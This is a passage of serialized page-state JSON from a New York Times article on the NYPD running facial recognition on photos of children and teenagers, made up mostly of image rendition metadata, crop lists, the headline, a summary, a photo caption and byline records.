promo\u002F01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg","height":900,"width":1600,"name":"videoSixteenByNineJumbo1600","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).3":{"name":"FACEBOOK","renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-facebookJumbo.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-facebookJumbo.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-promo\u002F01nypd-juveniles-promo-facebookJumbo.jpg","height":550,"width":1050,"name":"facebookJumbo","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).4":{"name":"WATCH","renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-watch308.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-watch308.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-promo\u002F01nypd-juveniles-promo-watch308.jpg","height":348,"width":312,"name":"watch308","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia":{"crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]})":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).0","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).1","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).2","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).3","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).4","typename":"ImageCrop"}],"caption":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.caption","typename":"TextOnlyDocumentBlock"},"__typename":"Image"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.caption":{"text":"","__typename":"TextOnlyDocumentBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.headline":{"textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.headline.content.0","typename":"TextInline"}],"__typename":"Heading1Block"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.headline.content.0":{"__typename":"TextInline","text@stripHtml":"She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.summary":{"textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.summary.content.0","typename":"TextInline"}],"__typename":"SummaryBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.summary.content.0":{"__typename":"TextInline","text":"With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.ledeMedia":{"__typename":"ImageBlock","size":"MEDIUM","media":{"type":"id","generated":false,"id":"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz","typename":"Image"}},"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz":{"id":"SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz","imageType":"photo","url":"\u002Fimagepages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F00nypd-juveniles.html","uri":"nyt:\u002F\u002Fimage\u002F2ad4fe36-f59f-5211-a12e-6b1f5bce2fa3","credit":"Sarah Blesener for The New York Times","legacyHtmlCaption":"“It’s very disturbing to know that no matter what I’m doing at that moment, someone might be scanning my picture to try to find someone who committed a crime,” said Bailey, who pleaded guilty to an assault that occurred when she was 14.","crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]})":[{"type":"id","generated":true,"id":"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).0","typename":"ImageCrop"},{"type":"id","generated":true,"id":"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).1","typename":"ImageCrop"}],"caption":{"type":"id","generated":true,"id":"$Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz.caption","typename":"TextOnlyDocumentBlock"},"__typename":"Image"},"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F07\u002F30\u002Fnyregion\u002F00nypd-juveniles\u002Fmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg","name":"articleLarge","width":600,"height":900,"__typename":"ImageRendition"},"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-popup.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F07\u002F30\u002Fnyregion\u002F00nypd-juveniles\u002Fmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-popup.jpg","name":"popup","width":334,"height":500,"__typename":"ImageRendition"},"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-jumbo.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F07\u002F30\u002Fnyregion\u002F00nypd-juveniles\u002Fmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-jumbo.jpg","name":"jumbo","width":683,"height":1024,"__typename":"ImageRendition"},"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-superJumbo.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F07\u002F30\u002Fnyregion\u002F00nypd-juveniles\u002Fmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-superJumbo.jpg","name":"superJumbo","width":1366,"height":2048,"__typename":"ImageRendition"},"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).0":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-popup.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-jumbo.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-superJumbo.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleInline.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F07\u002F30\u002Fnyregion\u002F00nypd-juveniles\u002Fmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleInline.jpg","name":"articleInline","width":190,"height":285,"__typename":"ImageRendition"},"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).1":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleInline.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz.caption":{"text":"“It’s very disturbing to know that no matter what I’m doing at that moment, someone might be scanning my picture to try to find someone who committed a crime,” said Bailey, who pleaded guilty to an assault that occurred when she was 14.","__typename":"TextOnlyDocumentBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline":{"textAlign":"LEFT","hideHeadshots":false,"bylines":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0","typename":"Byline"}],"role@filterEmpty":[],"__typename":"BylineBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0":{"prefix":"By","creators":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0","typename":"Person"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1","typename":"Person"}],"renderedRepresentation":null,"__typename":"Byline"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0":{"displayName":"Joseph Goldstein","bioUrl":"https:\u002F\u002Fwww.nytimes.com\u002Fby\u002Fjoseph-goldstein","promotionalMedia":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia","typename":"Image"},"__typename":"Person"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-articleLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-articleLarge.png","name":"articleLarge","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-popup.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-popup.png","name":"popup","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog480.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-blog480.png","name":"blog480","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog533.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-blog533.png","name":"blog533","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog427.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-blog427.png","name":"blog427","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-tmagSF.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-tmagSF.png","name":"tmagSF","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-tmagArticle.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-tmagArticle.png","name":"tmagArticle","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-slide.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-slide.png","name":"slide","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-jumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-jumbo.png","name":"jumbo","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-superJumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-superJumbo.png","name":"superJumbo","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog225.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-blog225.png","name":"blog225","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master675.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-master675.png","name":"master675","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master495.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-master495.png","name":"master495","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master180.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-master180.png","name":"master180","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master315.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-master315.png","name":"master315","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master768.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-master768.png","name":"master768","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.0":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-articleLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-popup.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog480.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog533.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog427.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-tmagSF.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-tmagArticle.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-slide.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-jumbo.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-superJumbo.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog225.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master675.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master495.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master180.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master315.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master768.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-thumbStandard.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-thumbStandard.png","name":"thumbStandard","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blogSmallThumb.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-blogSmallThumb.png","name":"blogSmallThumb","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-thumbLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-thumbLarge.png","name":"thumbLarge","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-smallSquare168.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-smallSquare168.png","name":"smallSquare168","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-smallSquare252.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-smallSquare252.png","name":"smallSquare252","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.1":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-thumbStandard.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blogSmallThumb.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-thumbLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-smallSquare168.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-smallSquare252.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-square320.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-square320.png","name":"square320","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-moth.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-moth.png","name":"moth","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-filmstrip.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-filmstrip.png","name":"filmstrip","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-square640.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-square640.png","name":"square640","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumSquare149.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumSquare149.png","name":"mediumSquare149","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.2":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-square320.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-moth.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-filmstrip.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-square640.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumSquare149.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-sfSpan.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-sfSpan.png","name":"sfSpan","__typename":"ImageRendition"},"ImageRen